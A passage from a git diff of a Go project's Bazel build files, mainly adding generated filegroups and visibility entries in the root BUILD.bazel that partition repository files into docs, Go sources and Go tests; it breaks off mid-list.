+- internal/storage/dbproxy/proxy/BUILD.bazel | 43 +- internal/storage/dbproxy/server/BUILD.bazel | 43 +- internal/storage/dbproxy/util/BUILD.bazel | 43 +- internal/storage/depid/BUILD.bazel | 43 +- internal/storage/dolt/BUILD.bazel | 43 +- internal/storage/doltutil/BUILD.bazel | 43 +- internal/storage/domain/BUILD.bazel | 43 +- internal/storage/domain/db/BUILD.bazel | 43 +- internal/storage/domain/fs/BUILD.bazel | 43 +- internal/storage/domain/git/BUILD.bazel | 43 +- internal/storage/embeddeddolt/BUILD.bazel | 43 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 43 +- internal/storage/externaldeps/BUILD.bazel | 43 +- internal/storage/fs/BUILD.bazel | 43 +- internal/storage/git/BUILD.bazel | 43 +- internal/storage/issueops/BUILD.bazel | 43 +- internal/storage/journalscan/BUILD.bazel | 43 +- internal/storage/kvkeys/BUILD.bazel | 43 +- internal/storage/memoryops/BUILD.bazel | 43 +- internal/storage/rowid/BUILD.bazel | 43 +- internal/storage/schema/BUILD.bazel | 43 +- internal/storage/sqlbuild/BUILD.bazel | 43 +- internal/storage/sqlclass/BUILD.bazel | 43 +- internal/storage/sqlcount/BUILD.bazel | 43 +- internal/storage/storagecontract/BUILD.bazel | 43 +- internal/storage/unsupportedgen/BUILD.bazel | 43 +- internal/storage/uow/BUILD.bazel | 43 +- .../storage/versioncontrolops/BUILD.bazel | 43 +- internal/telemetry/BUILD.bazel | 43 +- internal/templates/BUILD.bazel | 43 +- internal/templates/agents/BUILD.bazel | 43 +- internal/testutil/BUILD.bazel | 53 +- internal/testutil/bazeltest/BUILD.bazel | 43 +- internal/testutil/credentialcmd/BUILD.bazel | 43 +- internal/testutil/fixtures/BUILD.bazel | 43 +- internal/testutil/integration/BUILD.bazel | 43 +- internal/timeparsing/BUILD.bazel | 43 +- internal/tracker/BUILD.bazel | 43 +- internal/tracker/conformance/BUILD.bazel | 43 +- internal/types/BUILD.bazel | 43 +- internal/ui/BUILD.bazel | 43 +- internal/uimd/BUILD.bazel | 43 +- internal/utils/BUILD.bazel | 43 +- internal/validation/BUILD.bazel | 43 +- internal/versioncheck/BUILD.bazel | 43 +- internal/workapi/BUILD.bazel | 43 +- internal/workapi/storecounter/BUILD.bazel | 43 +- internal/workapi/storequerier/BUILD.bazel | 43 +- internal/workapi/storereader/BUILD.bazel | 43 +- .../workapi/storereadycounter/BUILD.bazel | 43 +- internal/workapi/storestats/BUILD.bazel | 43 +- .../storeversionreconciler/BUILD.bazel | 43 +- .../workapi/storeworkspaceconfig/BUILD.bazel | 43 +- internal/workspacegate/BUILD.bazel | 43 +- internal/worktreeremove/BUILD.bazel | 43 +- issueops/BUILD.bazel | 43 +- journalops/BUILD.bazel | 43 +- memoryops/BUILD.bazel | 43 +- platforms/BUILD.bazel | 43 +- plugins/beads/BUILD.bazel | 43 +- schema/BUILD.bazel | 43 +- scripts/BUILD.bazel | 233 +++- scripts/README.md | 2 +- scripts/bazel_autofix_push_test.go | 11 - scripts/bazel_policy_test.go | 392 +----- scripts/bazel_skip_allowlist_test.go | 20 +- scripts/bench-ready-indexes/BUILD.bazel | 43 +- scripts/check-versions/BUILD.bazel | 43 +- scripts/check_testing_short_test.go | 20 - scripts/check_winget_portable_alias_test.go | 2 +- scripts/checkworkflowtags/BUILD.bazel | 43 +- scripts/ci_workflow_test.go | 74 +- scripts/embedded_shard_count_test.go | 72 +- scripts/gitattributespolicy/BUILD.bazel | 43 +- scripts/host_tools_test.go | 15 +- scripts/internal/testbash/BUILD.bazel | 43 +- scripts/migration-test/catalog/BUILD.bazel | 43 +- scripts/pr-lint/BUILD.bazel | 43 +- scripts/pr_lanes_bazel_coverage_test.go | 4 +- scripts/pr_risk_bazel_coverage_test.go | 202 +--- scripts/prlintmake/BUILD.bazel | 43 +- scripts/pull_dolt_image_test.go | 30 - scripts/repo_helpers_test.go | 151 ++- scripts/repochecks/BUILD.bazel | 85 +- scripts/repro-dolt-hang/BUILD.bazel | 43 +- scripts/repro-dolt-prod-timeouts/BUILD.bazel | 43 +- scripts/scripts_targets_test.go | 105 ++ scripts/shard_manifest_test.go | 251 ++++ scripts/testing_short_tree_test.go | 33 + scripts/tracked_files_test.go | 295 +++++ scripts/workflowtags/BUILD.bazel | 43 +- test/conformance/BUILD.bazel | 43 +- test/docsync/BUILD.bazel | 70 +- test/docsync/agentfiles_test.go | 9 +- test/docsync/docsync_test.go | 13 +- test/testmainconvention/BUILD.bazel | 43 +- tests/hook_timeout_backends/BUILD.bazel | 43 +- tests/migration/BUILD.bazel | 43 +- tests/regression/BUILD.bazel | 43 +- tests/upgrade_smoke/BUILD.bazel | 43 +- third_party/cc_toolchain/BUILD.bazel | 43 +- third_party/patches/BUILD.bazel | 43 +- tools/bazel/BUILD.bazel | 53 +- tools/bazel/go_srcs.py | 117 +- tools/docsmint/BUILD.bazel | 43 +- tools/nogo/BUILD.bazel | 49 +- tools/nogo/analyzers/depguard/BUILD.bazel | 43 +- tools/nogo/analyzers/errcheck/BUILD.bazel | 43 +- tools/nogo/analyzers/forbidigo/BUILD.bazel | 43 +- tools/nogo/analyzers/gosec/BUILD.bazel | 43 +- tools/nogo/analyzers/misspell/BUILD.bazel | 43 +- tools/nogo/analyzers/sloglint/BUILD.bazel | 43 +- tools/nogo/analyzers/unconvert/BUILD.bazel | 43 +- tools/nogo/analyzers/unparam/BUILD.bazel | 43 +- tools/nogo/internal/analyzertest/BUILD.bazel | 43 +- tools/nogo/internal/golangci/BUILD.bazel | 43 +- tools/nogo/internal/position/BUILD.bazel | 43 +- 189 files changed, 8985 insertions(+), 1350 deletions(-) create mode 100644 scripts/scripts_targets_test.go create mode 100644 scripts/shard_manifest_test.go create mode 100644 scripts/testing_short_tree_test.go create mode 100644 scripts/tracked_files_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 3699152e2..69157bf54 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -22,6 +22,7 @@ gazelle(name = "gazelle") exports_files( [".buildflags"], visibility = [ + "//scripts:__pkg__", "//scripts/prlintmake:__pkg__", "//tests/upgrade_smoke:__pkg__", ], @@ -33,9 +34,11 @@ exports_files([ ]) # The golangci-lint configuration nogo applies (//tools/nogo), and its test. +# //test/docsync checks the agent instructions' links to it. exports_files( [".golangci.yml"], visibility = [ + "//test/docsync:__pkg__", "//tools/nogo:__pkg__", "//tools/nogo/internal/golangci:__pkg__", ], @@ -49,7 +52,8 @@ exports_files( ) # //tests/hook_timeout_backends: the tracked git hooks whose managed section -# it runs against real timeout implementations. +# it runs against real timeout implementations. //scripts:shell_scripts_test +# runs pre-push's suite dispatch. exports_files( [ ".githooks/post-checkout", @@ -58,7 +62,49 @@ exports_files( ".githooks/pre-push", ".githooks/prepare-commit-msg", ], - visibility = ["//tests/hook_timeout_backends:__pkg__"], + visibility = [ + "//scripts:__pkg__", + "//tests/hook_timeout_backends:__pkg__", + ], +) + +# //scripts:shell_scripts_test: scripts/test.sh's skip list. +exports_files( + [".test-skip"], + visibility = ["//scripts:__pkg__"], +) + +# The nested Go modules' go.mod files, which mark where the root module ends: +# //scripts:go_test_sources_test's scan of every _test.go file skips their +# trees, as `go test ./...` does. (go.mod is in no Go partition below: it is +# in //:repo_other_files.) +filegroup( + name = "nested_go_modules", + srcs = [ + "examples/bd-example-extension-go/go.mod", + "examples/library-usage/go.mod", + "//tools/nogo:go.mod", + ], + visibility = ["//scripts:__pkg__"], +) + +# //scripts/repochecks:winget_portable_alias_test: the winget manifests. +filegroup( + name = "winget_manifests", + srcs = glob(["winget/**"]), + visibility = ["//scripts/repochecks:__pkg__"], +) + +# //test/docsync: the repository files outside its Markdown and Go-test +# partitions that the docs and agent instructions link to by path. A new link +# to a file not listed here fails docsync_test under Bazel; add the file. +exports_files( + [ + ".github/workflows/bazel.yml", + "beads.go", + "docs/docs.json", + ], + visibility = ["//test/docsync:__pkg__"], ) # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula @@ -83,7 +129,8 @@ exports_files( # //internal/storage/embeddeddolt:embeddeddolt_embedded_test, # //internal/storage/dolt:dolt_server_full_test) run them through # tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the -# tests of the CI job with the same shard number. +# tests of the CI job with the same shard number. //scripts:go_test_sources_test +# checks the manifests and scripts against the tests they shard. exports_files( [ ".github/scripts/embedded-cmd-test-shards.txt", @@ -99,6 +146,7 @@ exports_files( "//cmd/bd:__pkg__", "//internal/storage/dolt:__pkg__", "//internal/storage/embeddeddolt:__pkg__", + "//scripts:__pkg__", ], ) @@ -199,13 +247,682 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = [ + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_doc_files", + "//backend/conformance:repo_doc_files", + "//beadserrors:repo_doc_files", + "//cmd/bd:repo_doc_files", + "//cmd/bd/doctor:repo_doc_files", + "//cmd/bd/doctor/fix:repo_doc_files", + "//cmd/bd/protocol:repo_doc_files", + "//cmd/bd/setup:repo_doc_files", + "//format:repo_doc_files", + "//internal/ado:repo_doc_files", + "//internal/atomicfile:repo_doc_files", + "//internal/audit:repo_doc_files", + "//internal/beads:repo_doc_files", + "//internal/ceiling:repo_doc_files", + "//internal/compact:repo_doc_files", + "//internal/config:repo_doc_files", + "//internal/configfile:repo_doc_files", + "//internal/creds:repo_doc_files", + "//internal/debug:repo_doc_files", + "//internal/doltremote:repo_doc_files", + "//internal/doltserver:repo_doc_files", + "//internal/doltversion:repo_doc_files", + "//internal/eventsjournal:repo_doc_files", + "//internal/execenv:repo_doc_files", + "//internal/fdhygiene:repo_doc_files", + "//internal/formula:repo_doc_files", + "//internal/formula/cmd/schemagen:repo_doc_files", + "//internal/formula/schemagen:repo_doc_files", + "//internal/git:repo_doc_files", + "//internal/gitenv:repo_doc_files", + "//internal/githooksenv:repo_doc_files", + "//internal/github:repo_doc_files", + "//internal/gitignore:repo_doc_files", + "//internal/gitlab:repo_doc_files", + "//internal/gittraceenv:repo_doc_files", + "//internal/hooks:repo_doc_files", + "//internal/httpapi:repo_doc_files", + "//internal/httpapi/apigen:repo_doc_files", + "//internal/httpapi/spec:repo_doc_files", + "//internal/httpapi/wireshape:repo_doc_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_doc_files", + "//internal/httpclient:repo_doc_files", + "//internal/httpclient/encode:repo_doc_files", + "//internal/httpclient/wire:repo_doc_files", + "//internal/idgen:repo_doc_files", + "//internal/jira:repo_doc_files", + "//internal/linear:repo_doc_files", + "//internal/lockfile:repo_doc_files", + "//internal/memoryapi:repo_doc_files", + "//internal/metrics:repo_doc_files", + "//internal/migration:repo_doc_files", + "//internal/migration/legacysqlite:repo_doc_files", + "//internal/molecules:repo_doc_files", + "//internal/notion:repo_doc_files", + "//internal/procid:repo_doc_files", + "//internal/query:repo_doc_files", + "//internal/recipes:repo_doc_files", + "//internal/remotecache:repo_doc_files", + "//internal/routing:repo_doc_files", + "//internal/storage:repo_doc_files", + "//internal/storage/backendnames:repo_doc_files", + "//internal/storage/backends:repo_doc_files", + "//internal/storage/batchbench:repo_doc_files", + "//internal/storage/batchfixtures:repo_doc_files", + "//internal/storage/contextinfo:repo_doc_files", + "//internal/storage/createbatchequiv:repo_doc_files", + "//internal/storage/dberrors:repo_doc_files", + "//internal/storage/dbproxy/identity:repo_doc_files", + "//internal/storage/dbproxy/pidfile:repo_doc_files", + "//internal/storage/dbproxy/proxy:repo_doc_files", + "//internal/storage/dbproxy/server:repo_doc_files", + "//internal/storage/dbproxy/util:repo_doc_files", + "//internal/storage/depid:repo_doc_files", + "//internal/storage/dolt:repo_doc_files", + "//internal/storage/doltutil:repo_doc_files", + "//internal/storage/domain:repo_doc_files", + "//internal/storage/domain/db:repo_doc_files", + "//internal/storage/domain/fs:repo_doc_files", + "//internal/storage/domain/git:repo_doc_files", + "//internal/storage/embeddeddolt:repo_doc_files", + "//internal/storage/embeddeddolt/cmd:repo_doc_files", + "//internal/storage/externaldeps:repo_doc_files", + "//internal/storage/fs:repo_doc_files", + "//internal/storage/git:repo_doc_files", + "//internal/storage/issueops:repo_doc_files", + "//internal/storage/journalscan:repo_doc_files", + "//internal/storage/kvkeys:repo_doc_files", + "//internal/storage/memoryops:repo_doc_files", + "//internal/storage/rowid:repo_doc_files", + "//internal/storage/schema:repo_doc_files", + "//internal/storage/sqlbuild:repo_doc_files", + "//internal/storage/sqlclass:repo_doc_files", + "//internal/storage/sqlcount:repo_doc_files", + "//internal/storage/storagecontract:repo_doc_files", + "//internal/storage/unsupportedgen:repo_doc_files", + "//internal/storage/uow:repo_doc_files", + "//internal/storage/versioncontrolops:repo_doc_files", + "//internal/telemetry:repo_doc_files", + "//internal/templates:repo_doc_files", + "//internal/templates/agents:repo_doc_files", + "//internal/testutil:repo_doc_files", + "//internal/testutil/bazeltest:repo_doc_files", + "//internal/testutil/credentialcmd:repo_doc_files", + "//internal/testutil/fixtures:repo_doc_files", + "//internal/testutil/integration:repo_doc_files", + "//internal/timeparsing:repo_doc_files", + "//internal/tracker:repo_doc_files", + "//internal/tracker/conformance:repo_doc_files", + "//internal/types:repo_doc_files", + "//internal/ui:repo_doc_files", + "//internal/uimd:repo_doc_files", + "//internal/utils:repo_doc_files", + "//internal/validation:repo_doc_files", + "//internal/versioncheck:repo_doc_files", + "//internal/workapi:repo_doc_files", + "//internal/workapi/storecounter:repo_doc_files", + "//internal/workapi/storequerier:repo_doc_files", + "//internal/workapi/storereader:repo_doc_files", + "//internal/workapi/storereadycounter:repo_doc_files", + "//internal/workapi/storestats:repo_doc_files", + "//internal/workapi/storeversionreconciler:repo_doc_files", + "//internal/workapi/storeworkspaceconfig:repo_doc_files", + "//internal/workspacegate:repo_doc_files", + "//internal/worktreeremove:repo_doc_files", + "//issueops:repo_doc_files", + "//journalops:repo_doc_files", + "//memoryops:repo_doc_files", + "//platforms:repo_doc_files", + "//plugins/beads:repo_doc_files", + "//schema:repo_doc_files", + "//scripts:repo_doc_files", + "//scripts/bench-ready-indexes:repo_doc_files", + "//scripts/check-versions:repo_doc_files", + "//scripts/checkworkflowtags:repo_doc_files", + "//scripts/gitattributespolicy:repo_doc_files", + "//scripts/internal/testbash:repo_doc_files", + "//scripts/migration-test/catalog:repo_doc_files", + "//scripts/pr-lint:repo_doc_files", + "//scripts/prlintmake:repo_doc_files", + "//scripts/repochecks:repo_doc_files", + "//scripts/repro-dolt-hang:repo_doc_files", + "//scripts/repro-dolt-prod-timeouts:repo_doc_files", + "//scripts/workflowtags:repo_doc_files", + "//test/conformance:repo_doc_files", + "//test/docsync:repo_doc_files", + "//test/testmainconvention:repo_doc_files", + "//tests/hook_timeout_backends:repo_doc_files", + "//tests/migration:repo_doc_files", + "//tests/regression:repo_doc_files", + "//tests/upgrade_smoke:repo_doc_files", + "//third_party/cc_toolchain:repo_doc_files", + "//third_party/patches:repo_doc_files", + "//tools/bazel:repo_doc_files", + "//tools/docsmint:repo_doc_files", + "//tools/nogo:repo_doc_files", + "//tools/nogo/analyzers/depguard:repo_doc_files", + "//tools/nogo/analyzers/errcheck:repo_doc_files", + "//tools/nogo/analyzers/forbidigo:repo_doc_files", + "//tools/nogo/analyzers/gosec:repo_doc_files", + "//tools/nogo/analyzers/misspell:repo_doc_files", + "//tools/nogo/analyzers/sloglint:repo_doc_files", + "//tools/nogo/analyzers/unconvert:repo_doc_files", + "//tools/nogo/analyzers/unparam:repo_doc_files", + "//tools/nogo/internal/analyzertest:repo_doc_files", + "//tools/nogo/internal/golangci:repo_doc_files", + "//tools/nogo/internal/position:repo_doc_files", + ], + visibility = ["//:__subpackages__"], +) + filegroup( name = "repo_files", + srcs = [ + ":repo_doc_files", + ":repo_go_srcs", + ":repo_go_test_srcs", + ":repo_other_files", + ], + visibility = [ + "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", + ], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_go_srcs", + "//backend/conformance:repo_go_srcs", + "//beadserrors:repo_go_srcs", + "//cmd/bd:repo_go_srcs", + "//cmd/bd/doctor:repo_go_srcs", + "//cmd/bd/doctor/fix:repo_go_srcs", + "//cmd/bd/protocol:repo_go_srcs", + "//cmd/bd/setup:repo_go_srcs", + "//format:repo_go_srcs", + "//internal/ado:repo_go_srcs", + "//internal/atomicfile:repo_go_srcs", + "//internal/audit:repo_go_srcs", + "//internal/beads:repo_go_srcs", + "//internal/ceiling:repo_go_srcs", + "//internal/compact:repo_go_srcs", + "//internal/config:repo_go_srcs", + "//internal/configfile:repo_go_srcs", + "//internal/creds:repo_go_srcs", + "//internal/debug:repo_go_srcs", + "//internal/doltremote:repo_go_srcs", + "//internal/doltserver:repo_go_srcs", + "//internal/doltversion:repo_go_srcs", + "//internal/eventsjournal:repo_go_srcs", + "//internal/execenv:repo_go_srcs", + "//internal/fdhygiene:repo_go_srcs", + "//internal/formula:repo_go_srcs", + "//internal/formula/cmd/schemagen:repo_go_srcs", + "//internal/formula/schemagen:repo_go_srcs", + "//internal/git:repo_go_srcs", + "//internal/gitenv:repo_go_srcs", + "//internal/githooksenv:repo_go_srcs", + "//internal/github:repo_go_srcs", + "//internal/gitignore:repo_go_srcs", + "//internal/gitlab:repo_go_srcs", + "//internal/gittraceenv:repo_go_srcs", + "//internal/hooks:repo_go_srcs", + "//internal/httpapi:repo_go_srcs", + "//internal/httpapi/apigen:repo_go_srcs", + "//internal/httpapi/spec:repo_go_srcs", + "//internal/httpapi/wireshape:repo_go_srcs", + "//internal/httpapi/wireshape/cmd/gendigest:repo_go_srcs", + "//internal/httpclient:repo_go_srcs", + "//internal/httpclient/encode:repo_go_srcs", + "//internal/httpclient/wire:repo_go_srcs", + "//internal/idgen:repo_go_srcs", + "//internal/jira:repo_go_srcs", + "//internal/linear:repo_go_srcs", + "//internal/lockfile:repo_go_srcs", + "//internal/memoryapi:repo_go_srcs", + "//internal/metrics:repo_go_srcs", + "//internal/migration:repo_go_srcs", + "//internal/migration/legacysqlite:repo_go_srcs", + "//internal/molecules:repo_go_srcs", + "//internal/notion:repo_go_srcs", + "//internal/procid:repo_go_srcs", + "//internal/query:repo_go_srcs", + "//internal/recipes:repo_go_srcs", + "//internal/remotecache:repo_go_srcs", + "//internal/routing:repo_go_srcs", + "//internal/storage:repo_go_srcs", + "//internal/storage/backendnames:repo_go_srcs", + "//internal/storage/backends:repo_go_srcs", + "//internal/storage/batchbench:repo_go_srcs", + "//internal/storage/batchfixtures:repo_go_srcs", + "//internal/storage/contextinfo:repo_go_srcs", + "//internal/storage/createbatchequiv:repo_go_srcs", + "//internal/storage/dberrors:repo_go_srcs", + "//internal/storage/dbproxy/identity:repo_go_srcs", + "//internal/storage/dbproxy/pidfile:repo_go_srcs", + "//internal/storage/dbproxy/proxy:repo_go_srcs", + "//internal/storage/dbproxy/server:repo_go_srcs", + "//internal/storage/dbproxy/util:repo_go_srcs", + "//internal/storage/depid:repo_go_srcs", + "//internal/storage/dolt:repo_go_srcs", + "//internal/storage/doltutil:repo_go_srcs", + "//internal/storage/domain:repo_go_srcs", + "//internal/storage/domain/db:repo_go_srcs", + "//internal/storage/domain/fs:repo_go_srcs", + "//internal/storage/domain/git:repo_go_srcs", + "//internal/storage/embeddeddolt:repo_go_srcs", + "//internal/storage/embeddeddolt/cmd:repo_go_srcs", + "//internal/storage/externaldeps:repo_go_srcs", + "//internal/storage/fs:repo_go_srcs", + "//internal/storage/git:repo_go_srcs", + "//internal/storage/issueops:repo_go_srcs", + "//internal/storage/journalscan:repo_go_srcs", + "//internal/storage/kvkeys:repo_go_srcs", + "//internal/storage/memoryops:repo_go_srcs", + "//internal/storage/rowid:repo_go_srcs", + "//internal/storage/schema:repo_go_srcs", + "//internal/storage/sqlbuild:repo_go_srcs", + "//internal/storage/sqlclass:repo_go_srcs", + "//internal/storage/sqlcount:repo_go_srcs", + "//internal/storage/storagecontract:repo_go_srcs", + "//internal/storage/unsupportedgen:repo_go_srcs", + "//internal/storage/uow:repo_go_srcs", + "//internal/storage/versioncontrolops:repo_go_srcs", + "//internal/telemetry:repo_go_srcs", + "//internal/templates:repo_go_srcs", + "//internal/templates/agents:repo_go_srcs", + "//internal/testutil:repo_go_srcs", + "//internal/testutil/bazeltest:repo_go_srcs", + "//internal/testutil/credentialcmd:repo_go_srcs", + "//internal/testutil/fixtures:repo_go_srcs", + "//internal/testutil/integration:repo_go_srcs", + "//internal/timeparsing:repo_go_srcs", + "//internal/tracker:repo_go_srcs", + "//internal/tracker/conformance:repo_go_srcs", + "//internal/types:repo_go_srcs", + "//internal/ui:repo_go_srcs", + "//internal/uimd:repo_go_srcs", + "//internal/utils:repo_go_srcs", + "//internal/validation:repo_go_srcs", + "//internal/versioncheck:repo_go_srcs", + "//internal/workapi:repo_go_srcs", + "//internal/workapi/storecounter:repo_go_srcs", + "//internal/workapi/storequerier:repo_go_srcs", + "//internal/workapi/storereader:repo_go_srcs", + "//internal/workapi/storereadycounter:repo_go_srcs", + "//internal/workapi/storestats:repo_go_srcs", + "//internal/workapi/storeversionreconciler:repo_go_srcs", + "//internal/workapi/storeworkspaceconfig:repo_go_srcs", + "//internal/workspacegate:repo_go_srcs", + "//internal/worktreeremove:repo_go_srcs", + "//issueops:repo_go_srcs", + "//journalops:repo_go_srcs", + "//memoryops:repo_go_srcs", + "//platforms:repo_go_srcs", + "//plugins/beads:repo_go_srcs", + "//schema:repo_go_srcs", + "//scripts:repo_go_srcs", + "//scripts/bench-ready-indexes:repo_go_srcs", + "//scripts/check-versions:repo_go_srcs", + "//scripts/checkworkflowtags:repo_go_srcs", + "//scripts/gitattributespolicy:repo_go_srcs", + "//scripts/internal/testbash:repo_go_srcs", + "//scripts/migration-test/catalog:repo_go_srcs", + "//scripts/pr-lint:repo_go_srcs", + "//scripts/prlintmake:repo_go_srcs", + "//scripts/repochecks:repo_go_srcs", + "//scripts/repro-dolt-hang:repo_go_srcs", + "//scripts/repro-dolt-prod-timeouts:repo_go_srcs", + "//scripts/workflowtags:repo_go_srcs", + "//test/conformance:repo_go_srcs", + "//test/docsync:repo_go_srcs", + "//test/testmainconvention:repo_go_srcs", + "//tests/hook_timeout_backends:repo_go_srcs", + "//tests/migration:repo_go_srcs", + "//tests/regression:repo_go_srcs", + "//tests/upgrade_smoke:repo_go_srcs", + "//third_party/cc_toolchain:repo_go_srcs", + "//third_party/patches:repo_go_srcs", + "//tools/bazel:repo_go_srcs", + "//tools/docsmint:repo_go_srcs", + "//tools/nogo:repo_go_srcs", + "//tools/nogo/analyzers/depguard:repo_go_srcs", + "//tools/nogo/analyzers/errcheck:repo_go_srcs", + "//tools/nogo/analyzers/forbidigo:repo_go_srcs", + "//tools/nogo/analyzers/gosec:repo_go_srcs", + "//tools/nogo/analyzers/misspell:repo_go_srcs", + "//tools/nogo/analyzers/sloglint:repo_go_srcs", + "//tools/nogo/analyzers/unconvert:repo_go_srcs", + "//tools/nogo/analyzers/unparam:repo_go_srcs", + "//tools/nogo/internal/analyzertest:repo_go_srcs", + "//tools/nogo/internal/golangci:repo_go_srcs", + "//tools/nogo/internal/position:repo_go_srcs", + ], + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = [ + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_go_test_srcs", + "//backend/conformance:repo_go_test_srcs", + "//beadserrors:repo_go_test_srcs", + "//cmd/bd:repo_go_test_srcs", + "//cmd/bd/doctor:repo_go_test_srcs", + "//cmd/bd/doctor/fix:repo_go_test_srcs", + "//cmd/bd/protocol:repo_go_test_srcs", + "//cmd/bd/setup:repo_go_test_srcs", + "//format:repo_go_test_srcs", + "//internal/ado:repo_go_test_srcs", + "//internal/atomicfile:repo_go_test_srcs", + "//internal/audit:repo_go_test_srcs", + "//internal/beads:repo_go_test_srcs", + "//internal/ceiling:repo_go_test_srcs", + "//internal/compact:repo_go_test_srcs", + "//internal/config:repo_go_test_srcs", + "//internal/configfile:repo_go_test_srcs", + "//internal/creds:repo_go_test_srcs", + "//internal/debug:repo_go_test_srcs", + "//internal/doltremote:repo_go_test_srcs", + "//internal/doltserver:repo_go_test_srcs", + "//internal/doltversion:repo_go_test_srcs", + "//internal/eventsjournal:repo_go_test_srcs", + "//internal/execenv:repo_go_test_srcs", + "//internal/fdhygiene:repo_go_test_srcs", + "//internal/formula:repo_go_test_srcs", + "//internal/formula/cmd/schemagen:repo_go_test_srcs", + "//internal/formula/schemagen:repo_go_test_srcs", + "//internal/git:repo_go_test_srcs", + "//internal/gitenv:repo_go_test_srcs", + "//internal/githooksenv:repo_go_test_srcs", + "//internal/github:repo_go_test_srcs", + "//internal/gitignore:repo_go_test_srcs", + "//internal/gitlab:repo_go_test_srcs", + "//internal/gittraceenv:repo_go_test_srcs", + "//internal/hooks:repo_go_test_srcs", + "//internal/httpapi:repo_go_test_srcs", + "//internal/httpapi/apigen:repo_go_test_srcs", + "//internal/httpapi/spec:repo_go_test_srcs", + "//internal/httpapi/wireshape:repo_go_test_srcs", + "//internal/httpapi/wireshape/cmd/gendigest:repo_go_test_srcs", + "//internal/httpclient:repo_go_test_srcs", + "//internal/httpclient/encode:repo_go_test_srcs", + "//internal/httpclient/wire:repo_go_test_srcs", + "//internal/idgen:repo_go_test_srcs", + "//internal/jira:repo_go_test_srcs", + "//internal/linear:repo_go_test_srcs", + "//internal/lockfile:repo_go_test_srcs", + "//internal/memoryapi:repo_go_test_srcs", + "//internal/metrics:repo_go_test_srcs", + "//internal/migration:repo_go_test_srcs", + "//internal/migration/legacysqlite:repo_go_test_srcs", + "//internal/molecules:repo_go_test_srcs", + "//internal/notion:repo_go_test_srcs", + "//internal/procid:repo_go_test_srcs", + "//internal/query:repo_go_test_srcs", + "//internal/recipes:repo_go_test_srcs", + "//internal/remotecache:repo_go_test_srcs", + "//internal/routing:repo_go_test_srcs", + "//internal/storage:repo_go_test_srcs", + "//internal/storage/backendnames:repo_go_test_srcs", + "//internal/storage/backends:repo_go_test_srcs", + "//internal/storage/batchbench:repo_go_test_srcs", + "//internal/storage/batchfixtures:repo_go_test_srcs", + "//internal/storage/contextinfo:repo_go_test_srcs", + "//internal/storage/createbatchequiv:repo_go_test_srcs", + "//internal/storage/dberrors:repo_go_test_srcs", + "//internal/storage/dbproxy/identity:repo_go_test_srcs", + "//internal/storage/dbproxy/pidfile:repo_go_test_srcs", + "//internal/storage/dbproxy/proxy:repo_go_test_srcs", + "//internal/storage/dbproxy/server:repo_go_test_srcs", + "//internal/storage/dbproxy/util:repo_go_test_srcs", + "//internal/storage/depid:repo_go_test_srcs", + "//internal/storage/dolt:repo_go_test_srcs", + "//internal/storage/doltutil:repo_go_test_srcs", + "//internal/storage/domain:repo_go_test_srcs", + "//internal/storage/domain/db:repo_go_test_srcs", + "//internal/storage/domain/fs:repo_go_test_srcs", + "//internal/storage/domain/git:repo_go_test_srcs", + "//internal/storage/embeddeddolt:repo_go_test_srcs", + "//internal/storage/embeddeddolt/cmd:repo_go_test_srcs", + "//internal/storage/externaldeps:repo_go_test_srcs", + "//internal/storage/fs:repo_go_test_srcs", + "//internal/storage/git:repo_go_test_srcs", + "//internal/storage/issueops:repo_go_test_srcs", + "//internal/storage/journalscan:repo_go_test_srcs", + "//internal/storage/kvkeys:repo_go_test_srcs", + 